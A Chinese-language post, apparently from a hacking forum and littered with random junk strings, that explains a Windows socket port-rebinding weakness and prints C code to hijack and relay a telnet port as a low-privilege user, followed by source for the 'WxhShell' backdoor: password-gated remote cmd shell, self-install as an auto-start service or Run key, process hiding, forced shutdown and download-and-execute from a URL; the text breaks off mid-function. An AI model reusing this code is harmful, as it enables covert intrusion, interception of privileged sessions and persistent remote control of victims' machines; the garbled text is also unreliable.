在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
,gnQa s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
I.}1JJF* (g :p5Rl saddr.sin_family = AF_INET;
2>S~I"o0 ,$r2gr!_G saddr.sin_addr.s_addr = htonl(INADDR_ANY);
BH0!6Oq bm&87 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
e{G_GycH IN^9uL]B 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
yeD_j/ ?BCy J 这意味着什么?意味着可以进行如下的攻击:
FYPz 4K }wt%1v-10U 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
pt:;9hA +I|8Q|^SD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
FyD.>ot7M }IUP5O6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5!fSW2N x;$|#]+
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
){Z !"4w&bQ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
4 9w=kzo eVnbRT2y& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
EHf)^]Z z<C[nR$N 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
*)VAaGUX> Y4~vC[$x' #include
R $b,h #include
}6~)bLzI} #include
5ouQQ)vA #include
2o{@nN8% DWORD WINAPI ClientThread(LPVOID lpParam);
>7-y#SkXdo int main()
J6|JWp {
N2~$rpU3 WORD wVersionRequested;
O.:I,D&] DWORD ret;
oXc/#{NC WSADATA wsaData;
y/4ny,s" BOOL val;
_%IqjJO{=r SOCKADDR_IN saddr;
t!l%/$- SOCKADDR_IN scaddr;
(DJvi6\H int err;
J9@}DB SOCKET s;
7~.ZE SOCKET sc;
1k>naf~O int caddsize;
8$ DwpJ HANDLE mt;
AUAI3K? DWORD tid;
&tBA^igXK wVersionRequested = MAKEWORD( 2, 2 );
@%B4;c err = WSAStartup( wVersionRequested, &wsaData );
R#0{Wg0O) if ( err != 0 ) {
VN|G5* printf("error!WSAStartup failed!\n");
*( *z|2 return -1;
yisLypM* }
hPPB45^ saddr.sin_family = AF_INET;
aF])"9 G]lvHD //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
v' 0!= r 5^F]tRz- saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
]31$KBC saddr.sin_port = htons(23);
A9n41,h if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;f(n.i {
6F ;Or printf("error!socket failed!\n");
;C_ > return -1;
6K//1U$ }
p"KV*D9b val = TRUE;
e`ex]py<C //SO_REUSEADDR选项就是可以实现端口重绑定的
c! ~T2t if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
q2Rf@nt {
k#jm7 + printf("error!setsockopt failed!\n");
V2QW\2@$ return -1;
U9F6d!:L7A }
wiBuEaUkW //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
pE(sV{PD //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
r]-+bR //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
82.HH5Z{ 0x4l5x$8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
bZXlJa`'S {
=SL^>HS.fo ret=GetLastError();
JilKZQmk printf("error!bind failed!\n");
]0YDb~UB return -1;
Cn/q= }
(-'PD_| listen(s,2);
K
/ZHJkJ7 while(1)
'v+96b/; {
ebD{ pc`& caddsize = sizeof(scaddr);
lux9o$ % //接受连接请求
]wR6bEm7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
mVHFT~x7} if(sc!=INVALID_SOCKET)
oo'iwq-\ {
`{WCrw6) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
R{ 4u|A?9 if(mt==NULL)
klo^K9! {
4NI'(#l printf("Thread Creat Failed!\n");
XC2Q*Z break;
^:U;rHY }
=3pD:L }
Jb6& CloseHandle(mt);
?Cc$] }
#-A5Z;TD. closesocket(s);
2t.fD@ WSACleanup();
;wpW2%& return 0;
BHIM'24bp }
*eMLbU7 DWORD WINAPI ClientThread(LPVOID lpParam)
o`25 {
tPA"lBS ! SOCKET ss = (SOCKET)lpParam;
?9CIWpGjU SOCKET sc;
Km%8Yw0+ unsigned char buf[4096];
i /C'0 SOCKADDR_IN saddr;
jw/wcP long num;
NCp%sGBmG DWORD val;
;Xz(B4 N~o DWORD ret;
;,R[]B01u //如果是隐藏端口应用的话,可以在此处加一些判断
p~ mN2x ] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
P%ye$SASd saddr.sin_family = AF_INET;
5NFq7&rJ6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
$2;-q8+ saddr.sin_port = htons(23);
;%M2x5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
r';Hxa ' {
D~XU`;~u printf("error!socket failed!\n");
EC0zH#N return -1;
rUGZjLIGqz }
tvv[$b& val = 100;
3{I=.mUUm if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
F%9e@{ {
#vnefIcBf ret = GetLastError();
/abmjV0 return -1;
`e4o 1* }
Jx)~kK if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
LNWqgIq {
Xq[:GUnt ret = GetLastError();
<aD'$(N5 return -1;
j0Id!o }
YWybPD4\( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
't||F1X~J {
(K!M*d+ printf("error!socket connect failed!\n");
HCI'q\\ closesocket(sc);
8') .ohD closesocket(ss);
oSpi{ $x return -1;
d<e+__2 }
nNkyOaK*4 while(1)
_Ac/i r[,: {
(jD'+ "? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
DKe6?PG //如果是嗅探内容的话,可以再此处进行内容分析和记录
oHv{Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
){?mKB5 num = recv(ss,buf,4096,0);
|_xZ/DT if(num>0)
LG"BfYy6 send(sc,buf,num,0);
EOMuqP) else if(num==0)
7-g]A2N break;
V'Sd[* num = recv(sc,buf,4096,0);
m^W*[^p if(num>0)
[,.[gWA send(ss,buf,num,0);
^TuP=q5? else if(num==0)
&"@HWF break;
5i}CzA96 }
<DA{\'jJ closesocket(ss);
}z9I`6[ closesocket(sc);
v
Ie=wf~D` return 0 ;
Y^*Lh/:h }
?0 KiR? duZ|mT8Q== Gd]5xl
HRU ==========================================================
{ziYd;Ys1 hlSB7D"d 下边附上一个代码,,WXhSHELL
W>aQ
tT HM(bR"E ==========================================================
E< io^ W07-JHV% #include "stdafx.h"
yH0yO*RZ tS_xa #include <stdio.h>
.P|+oYT&g #include <string.h>
jWO&SW so #include <windows.h>
IL8'{<lM #include <winsock2.h>
>uP{9kDm #include <winsvc.h>
t?Njw7 #include <urlmon.h>
&k%wOz1vM pUCEYR #pragma comment (lib, "Ws2_32.lib")
P@! Q1pr #pragma comment (lib, "urlmon.lib")
sTYuwna~
WL]Wu.k #define MAX_USER 100 // 最大客户端连接数
M rH%hRV6R #define BUF_SOCK 200 // sock buffer
z</XnN #define KEY_BUFF 255 // 输入 buffer
SoM
]2^ ya*q; D #define REBOOT 0 // 重启
a-UD_|! #define SHUTDOWN 1 // 关机
Bcd0 |aOnV,} #define DEF_PORT 5000 // 监听端口
{8>_,z^P) :`Zl\!]E`o #define REG_LEN 16 // 注册表键长度
/%}YuN #define SVC_LEN 80 // NT服务名长度
^c[CyZ:a &a2V-|G', // 从dll定义API
i+T0}M< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
wzLiVe- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
B9;,A;E}; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Fm[?@Z&wP typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
oN1wrf}Sh CB{k;H // wxhshell配置信息
;>QK}#' struct WSCFG {
MIua\:xT int ws_port; // 监听端口
[jtj~]&mO char ws_passstr[REG_LEN]; // 口令
At^DY!3vx int ws_autoins; // 安装标记, 1=yes 0=no
NdED8 iRc char ws_regname[REG_LEN]; // 注册表键名
H?/cG_^y0 char ws_svcname[REG_LEN]; // 服务名
(>Q9jNW char ws_svcdisp[SVC_LEN]; // 服务显示名
T$8$9D_u char ws_svcdesc[SVC_LEN]; // 服务描述信息
R^Eu}?<f
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
J?,!1V= int ws_downexe; // 下载执行标记, 1=yes 0=no
Spr:K, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
w]+BBGYQKb char ws_filenam[SVC_LEN]; // 下载后保存的文件名
J!^~KN6[ (j"~]T!)1 };
qeO6}A"^| ^2?O+ =,F // default Wxhshell configuration
kvO`]>#;$? struct WSCFG wscfg={DEF_PORT,
efAahH "xuhuanlingzhe",
G~$M"@Q7N 1,
2"{]A;@ "Wxhshell",
:Ro"
0/d "Wxhshell",
'y@ 2,9v "WxhShell Service",
Z=/L6Zb "Wrsky Windows CmdShell Service",
$P}]|/Yb "Please Input Your Password: ",
yOCcp+`T} 1,
a518N*]j "
http://www.wrsky.com/wxhshell.exe",
HEfA c
"Wxhshell.exe"
,;ruH^ };
z1KC$~{O OXCml(>{ // 消息定义模块
Ai_|) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
&u`rE"" char *msg_ws_prompt="\n\r? for help\n\r#>";
[Jh))DIx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Px?At5 char *msg_ws_ext="\n\rExit.";
uc (yos char *msg_ws_end="\n\rQuit.";
]B.,7 char *msg_ws_boot="\n\rReboot...";
U@t?jTMBkO char *msg_ws_poff="\n\rShutdown...";
`q{'_\gVt( char *msg_ws_down="\n\rSave to ";
_(s|Q AiHDoV+- char *msg_ws_err="\n\rErr!";
mM^8YL char *msg_ws_ok="\n\rOK!";
wTAEJ{p {aa,#B]i char ExeFile[MAX_PATH];
`r0
qn'* int nUser = 0;
RknSWuFKt HANDLE handles[MAX_USER];
snzH}$Ls int OsIsNt;
hE`%1j2( exMPw;8 SERVICE_STATUS serviceStatus;
^0?cyv\>LA SERVICE_STATUS_HANDLE hServiceStatusHandle;
FZ.Yn ump:dL5{ // 函数声明
n)7$xYuH int Install(void);
D'hr\C^ int Uninstall(void);
O
NzdCgY int DownloadFile(char *sURL, SOCKET wsh);
|q b92|? int Boot(int flag);
?@BaBU:o`F void HideProc(void);
2X|jq4 int GetOsVer(void);
7Z :l;%]K int Wxhshell(SOCKET wsl);
q@yabuN@,j void TalkWithClient(void *cs);
.xQ'^P_q int CmdShell(SOCKET sock);
iP\&fZY_ int StartFromService(void);
00x^zu?N int StartWxhshell(LPSTR lpCmdLine);
?U[nYp}"v @{GxQzo VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
K]Cs2IpI VOID WINAPI NTServiceHandler( DWORD fdwControl );
ED_5V@ >N"PLSY1 // 数据结构和表定义
PsT v\! SERVICE_TABLE_ENTRY DispatchTable[] =
HSFf&|qqx {
oa|*-nw {wscfg.ws_svcname, NTServiceMain},
s|`)' {NULL, NULL}
(w };
*wyLX9{: B{7/A[$%C // 自我安装
4T\/wyq0 int Install(void)
1MFpuPJk {
&jd<rs5} char svExeFile[MAX_PATH];
:u+#:8u HKEY key;
p%_
:( strcpy(svExeFile,ExeFile);
nezbmpL4 ;XuEMq,Di // 如果是win9x系统,修改注册表设为自启动
l+qtA~V&2 if(!OsIsNt) {
n
9M6wS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ai9,4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
m*,[1oeG& RegCloseKey(key);
YQsc(6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
BkqW>[\5xm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
()JDjzQT RegCloseKey(key);
5!p'n#_ return 0;
+>({pHZ<S }
V2skr_1 }
5W-M8dc6 }
4u7>NQUDu else {
<Wq{ V;$ k=
1+mG // 如果是NT以上系统,安装为系统服务
kfECC&" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
>?FCv7qN if (schSCManager!=0)
GQWTQIl] {
IV*$U7~ SC_HANDLE schService = CreateService
)C6 7qY[P (
^<+heX schSCManager,
5aQg^f%\ wscfg.ws_svcname,
_@76eZd wscfg.ws_svcdisp,
qRLypm SERVICE_ALL_ACCESS,
F\72^,0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Jx?>1q=M SERVICE_AUTO_START,
7?#32B
Gr SERVICE_ERROR_NORMAL,
l]&)an svExeFile,
!7?wd^C'f NULL,
~cwwB{ NULL,
)5x?Qn (B NULL,
!%9I%Ak^ NULL,
v21? NULL
4f,x@:Jw );
eQj/)@B:V if (schService!=0)
WQ`T'k#ESW {
#IDCCD^1= CloseServiceHandle(schService);
Y.#+Yh[ CloseServiceHandle(schSCManager);
`;@4f|N9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
=Y[Ae7e strcat(svExeFile,wscfg.ws_svcname);
KYN{iaj if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
A4h/oMis RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
4pv:u:Z RegCloseKey(key);
;_\P;s return 0;
8?XZF[D }
>j3N-;o@? }
v^'~-^s
CloseServiceHandle(schSCManager);
{c;3$ }
<X*8Xzmv }
3s2M$3r)6 ~O-8 h0d3 return 1;
-^DB?j+ }
W[s>TDc`v B?Skw{& // 自我卸载
RkzBn int Uninstall(void)
Y2n*T
KXI, {
Q2Rj0E` HKEY key;
lH.2H vKf=t&gqr if(!OsIsNt) {
d9"4m>ymS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+&@0;zSga RegDeleteValue(key,wscfg.ws_regname);
|sz9l/,lG RegCloseKey(key);
@@jdF-Utj; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L8ke*O$ RegDeleteValue(key,wscfg.ws_regname);
KJ_R@,v\ RegCloseKey(key);
"Cb<~Dy return 0;
\ 714 Pyy }
x#D=?/~/Kv }
<h({+N }
'S"F=)*- else {
tUQ)q Q1z04m1_y[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
g%trGW3{- if (schSCManager!=0)
e^ yB9b {
>q`X%&l_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
HdM;c*K if (schService!=0)
bd4q/w4q {
il~,y8WTU{ if(DeleteService(schService)!=0) {
JN_#
[S$
CloseServiceHandle(schService);
XJ;/kR CloseServiceHandle(schSCManager);
YbKW;L&Ff return 0;
bb{+ }
RulIzv CloseServiceHandle(schService);
D_Y;N3E/rS }
}wVrmDh \ CloseServiceHandle(schSCManager);
=>G A_ }
iwbjjQPr }
&>o)7H]; VZ8L9h<{" return 1;
<CFur }
qb Q> z+c ?D_zAh?pW // 从指定url下载文件
G;e}z&6<k int DownloadFile(char *sURL, SOCKET wsh)
O%r<I*T^r {
&kG<LGXP# HRESULT hr;
ze-iDd_y char seps[]= "/";
Z(L>~+% char *token;
*XJSa char *file;
ydt1ED0Q- char myURL[MAX_PATH];
_PIk,!< char myFILE[MAX_PATH];
g=)@yZ3>v =["GnL*!0 strcpy(myURL,sURL);
/SiQw7yp% token=strtok(myURL,seps);
Wh,kJis< while(token!=NULL)
@:63OLlrG {
4T:ZEvdzf file=token;
M-NR!? 9 token=strtok(NULL,seps);
?g'l/xuRe }
{}z7N~ _xJ&p$& GetCurrentDirectory(MAX_PATH,myFILE);
1n^xVk-G strcat(myFILE, "\\");
b#sO1MXv strcat(myFILE, file);
(f)QEho7 send(wsh,myFILE,strlen(myFILE),0);
}5K\l
send(wsh,"...",3,0);
-8]$a6`{_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Px<;-H` if(hr==S_OK)
VD4( return 0;
'
{Q L`L else
BEw(SQH return 1;
'>Z
Ou3> WDcjj1`l
}
mwt3EV5 B#=dz,} // 系统电源模块
[Mx+t3M int Boot(int flag)
dQ<EDtap {
mz47lv1? HANDLE hToken;
j:0z/gHp$ TOKEN_PRIVILEGES tkp;
r;-\z(h BwR)--75 if(OsIsNt) {
+7=3[K OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
dP82bk/e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
[,VD^\ tkp.PrivilegeCount = 1;
N)QW$iw9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
v''$qMQ) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
;X8eZQ if(flag==REBOOT) {
GE|V^_|i if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Gd!y,n&s return 0;
0ZO!_3m$r }
"bJW yUb else {
FbF P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
YQ]W<0( return 0;
]`LMyt0 }
J=
T! }
aPRF else {
eKt~pzXwm if(flag==REBOOT) {
iNcB6,++ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
o<Q~pd#Ip, return 0;
&4LrV+`$V }
kIyif7 else {
opd^|xx0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ZjWI~"] return 0;
Vf0m7BJc3 }
WOh?/F[@u }
:M3Fq@w= C1hp2CW$5/ return 1;
@u?m4v{ }
`$05+UU 5LR
k)@t // win9x进程隐藏模块
nGq{+
G void HideProc(void)
b:2#3;) {
,VI2dNst\ w=,bF$:fIW HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
J.$N<. if ( hKernel != NULL )
,XU<2jv] {
EJrP{GH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
nH_M# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
uWkW T.>$ FreeLibrary(hKernel);
4S5U|n }
jBb:) @cukoLAn return;
Fsz;T; }
MaN6bM 4}`z^P<C // 获取操作系统版本
VX0}x+LJ int GetOsVer(void)
:<hM@>eFn {
fS?}(7 OSVERSIONINFO winfo;
h/k00hD60 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
kntYj}F( GetVersionEx(&winfo);
Qco8m4n if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}p5_JXBV return 1;
#x*\dL else
TophV}@B` return 0;
jl9hFubwW }
o, PpD,, x n?$@ // 客户端句柄模块
F/V-@SF int Wxhshell(SOCKET wsl)
6dgwsl~ {
`3g5n:"g\ SOCKET wsh;
[n4nnmM struct sockaddr_in client;
F_G .$aCc DWORD myID;
agt/;>q\~ 1%ENgb:8 while(nUser<MAX_USER)
ijP`fM8 {
PzOnS int nSize=sizeof(client);
9HB+4q[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
t'1g+g if(wsh==INVALID_SOCKET) return 1;
_iu~vU)r P?p]sLrP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
LAkBf if(handles[nUser]==0)
DL`8qJ'mJs closesocket(wsh);
/yHjds else
4_kY^"*#" nUser++;
%_."JT$v{ }
}yVx"e) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
i\<S ; ?r0rY? return 0;
fV@[S }
; [G: DQ(0:r // 关闭 socket
p#).;\M void CloseIt(SOCKET wsh)
/poGhB1k {
elAWQE us closesocket(wsh);
%N)B8A9kh nUser--;
( <YBvpt4> ExitThread(0);
f"RC(("6W }
:.4O
Hp1 P0y DL:X[ // 客户端请求句柄
eZEk$W% void TalkWithClient(void *cs)
+j{(NwsX {
"MU-&** 10fxK SOCKET wsh=(SOCKET)cs;
h;,1BpbM char pwd[SVC_LEN];
C7ug\_,s char cmd[KEY_BUFF];
H1f='k]SZ char chr[1];
o3V\ int i,j;
gUNhN1= XVkw/l while (nUser < MAX_USER) {
b3EGtC}^ pJx7S sW if(wscfg.ws_passstr) {
_tJt
eDRY if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ym1vq= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4XNheP;b //ZeroMemory(pwd,KEY_BUFF);
Asv]2> x i=0;
VxBBZsZO~ while(i<SVC_LEN) {
0S^&A?$= =B9-}]DDO // 设置超时
g]lEG>y1R fd_set FdRead;
._^}M<o L struct timeval TimeOut;
RI@\cJ\} FD_ZERO(&FdRead);
KEtV FD_SET(wsh,&FdRead);
nm@h5ON_ TimeOut.tv_sec=8;
[EDX@Kdq) TimeOut.tv_usec=0;
iI{L>
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2uOYuM[7gH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
UB.1xcI EW|$qLg if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
qFD ZD)K pwd
=chr[0]; >=[uLY[aK
if(chr[0]==0xd || chr[0]==0xa) { I)rO|
pwd=0; &1$d`>fn
break; ux<|8S
} l)9IgJ|<b
i++; 0n{.96r0R
} f^FFn32u
mY.v:
// 如果是非法用户,关闭 socket 3]l)uoNt/
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1Ng+mT
} g}NO$?ndg
f`n4'dG
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fZ$b8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); umIGI
zY*9M3(X
while(1) { o]4]fLQ
LH5Z@*0#
ZeroMemory(cmd,KEY_BUFF); Ipk;Nq
C(ij_>
// 自动支持客户端 telnet标准 vkIIuNdDlx
j=0; d5$D[,`1
while(j<KEY_BUFF) { z:>cQUYl
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &Q3Fgj
cmd[j]=chr[0]; hq
3n&/
if(chr[0]==0xa || chr[0]==0xd) { IMkE~0x4</
cmd[j]=0; t3@+idE b
break; G:<f(Gy
} 1Cw]~jh
j++; 'XK 'T\m
} !;eE7xn &
J].Oxch&y
// 下载文件 suY47DCX)
if(strstr(cmd,"http://")) { $*ff]>#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); tm+*ik=x|
if(DownloadFile(cmd,wsh)) iH8we,s'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Az&>.*
else aV\i3\da
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q&25,zWD
} #*o0n>O
else { tF:AnNp=
.nPOjwEx&Y
switch(cmd[0]) { EhxpMTS
"`>6M&`U
// 帮助 aJ'Fn
case '?': { k+J%o%* <
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MgXZN{
break; AY /9Io-
} ;z'&$#pA
// 安装 ?()*"+N(ck
case 'i': { dKzG,/1W[m
if(Install()) $
VT)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `?z('FV
else 6u, g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |p:4s"NT
break; S2$66xr#
} g88k@<Y
// 卸载 0~U#DTx0
case 'r': { }j/\OY _&
if(Uninstall()) JP>EW&M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eC-&.Fl
else \lbH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Tu`0=8
break; C
m:AU;
} =t,oj6P~
// 显示 wxhshell 所在路径 v3DK0 MW
case 'p': { ,;pUBrz/[
char svExeFile[MAX_PATH]; 7h\is
strcpy(svExeFile,"\n\r"); &]TniQH
strcat(svExeFile,ExeFile); So ziFI
send(wsh,svExeFile,strlen(svExeFile),0); HxO+JI`'3
break; Q`k;E}x_-
} 9K$
x2U
// 重启 5iw\F!op:
case 'b': { OeQ[-e
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .q2r!B
if(Boot(REBOOT)) F@<cp ?dR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WSozDNF!'f
else { QBa+xI_
J
closesocket(wsh); PhAfEsD
ExitThread(0); tR!C8:u
} p*<Jg l
break; mZiKA-t
} XJo.^<m
// 关机 H,D5)1Uu
case 'd': { ;r@=[h
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @fA{;@N
if(Boot(SHUTDOWN)) 3HyOQD"{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #x.v)S
else { g[~{iu_$d
closesocket(wsh); ndFVP;q
ExitThread(0); G&h@
} .5\@G b.8
break; ;L$-_Z
} kI"9T`owR
// 获取shell lW"0fZ_x'E
case 's': { MsI R ~
CmdShell(wsh); ;gL{*gR]S
closesocket(wsh); "EpH02{i
ExitThread(0); ]\rQ{No
break;
L]l/w
} 5@RcAQb:
// 退出 Ys.GBSlHG
case 'x': { =R:O`qdC4e
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <zpxodM@T
CloseIt(wsh); +tk`$g
break; U`[viH>K
} BvvjaC
// 离开 j3&q?1
case 'q': { r],%:imGr
send(wsh,msg_ws_end,strlen(msg_ws_end),0); qMEd
R;o
closesocket(wsh); &w9*pJR %
WSACleanup(); Fah6
&a
exit(1); l[~$9C'ji
break; ^/2HH
} Z;N3mD+\ye
} 1BmKwux:
} _#H d2h
aA$\iFYA
// 提示信息 +\["HS7+'0
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /*;a6S8q
} 4"|3pMr
} 2ih}?%H8
UU(Pg{DA6
return; &KBDrJEX
} /&\V6=jA1
&*o4~6pQ#
// shell模块句柄 ;07$ G+['
int CmdShell(SOCKET sock) #yIHr&'oX
{ dLGHbeZ[(
STARTUPINFO si; NA$)qX_
ZeroMemory(&si,sizeof(si)); 3~R,)fO;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t{B@k[|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4r83;3WXs
PROCESS_INFORMATION ProcessInfo; EKO'S+~
char cmdline[]="cmd"; [(a3ljbRX
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
6p@[U>`
return 0; Kn3Xn`P?
} Id^q!4Th9
?7pn%_S
// 自身启动模式 8pf]M&
int StartFromService(void) NRG06M
{ )?OdD7gd
typedef struct cQxUEY('+
{ l?IeZisX
DWORD ExitStatus; ,<!*@xy7v
DWORD PebBaseAddress; ae-tAA[1Y
DWORD AffinityMask; Lj|wFV
DWORD BasePriority; 0827z
ULONG UniqueProcessId; T~$Eh6
D
